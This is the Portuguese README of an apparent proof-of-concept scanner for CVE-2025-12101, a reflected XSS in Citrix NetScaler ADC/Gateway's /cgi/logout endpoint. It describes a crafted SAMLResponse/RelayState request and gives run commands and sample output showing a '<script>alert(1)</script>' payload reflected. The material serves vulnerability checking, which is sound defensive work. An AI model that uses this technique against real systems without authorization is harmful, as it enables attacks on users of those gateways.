
PoC simples em Python para verificar o Citrix NetScaler ADC/Gateway para XSS refletido CVE-2025-12101 em /cgi/logout usando um payload SAMLResponse + RelayState manipulado.
PoC simples em Python para verificar instâncias do Citrix NetScaler ADC / Gateway para CVE-2025-12101 (XSS refletido em /cgi/logout) usando um payload SAMLResponse + RelayState manipulado.
⚠️ Use esta ferramenta apenas em sistemas que você possui ou para os quais tem autorização explícita para testar.
CVE-2025-12101 é uma vulnerabilidade de Cross-Site Scripting refletido que afeta NetScaler ADC e NetScaler Gateway quando configurados como servidor virtual Gateway ou AAA.
Em configurações vulneráveis, o endpoint /cgi/logout processa respostas de logout SAML e pode refletir dados controlados pelo atacante do parâmetro RelayState sem codificação adequada, levando a XSS.
Pesquisa e detalhes técnicos vêm do watchTowr Labs:
Este repositório fornece um verificador Python raw-TLS minimalista que envia o mesmo estilo de payload e inspeciona a resposta HTTP.
Clone o repositório:
git clone https://github.com/6h4ack/CVE-2025-12101-checker.git
cd CVE-2025-12101-checker
Certifique-se de ter o Python 3 instalado.
O script principal aceita um único parâmetro obrigatório: -u / --url.
python3 cve-2025-12101.py -u https://www.example.com
Também válido:
python3 cve-2025-12101.py -u www.example.com
python3 cve-2025-12101.py -u http://www.example.com
A URL é normalizada internamente; o script extrai o hostname e a porta (padrão 443 para HTTPS e 80 para HTTP).
Exemplo (para um alvo vulnerável):
[*] Testing target: www.example.com:443
===== RAW HTTP RESPONSE BEGIN =====
HTTP/1.1 302 Object Moved
Content-Type: text/html
...
<script>alert(1)</script>
...
===== RAW HTTP RESPONSE END =====
[+] HTTP status code: 302
[+] Payload '<script>alert(1)</script>' reflected: True
[VULNERABLE] XSS confirmed on www.example.com with payload '<script>alert(1)</script)'
Para um alvo não vulnerável, você verá algo como:
[INFO] No XSS behaviour detected on www.example.com with this payload.
Cores ANSI são usadas para facilitar a visualização do resultado no terminal (verde para vulnerável, vermelho para não vulnerável / condições de erro).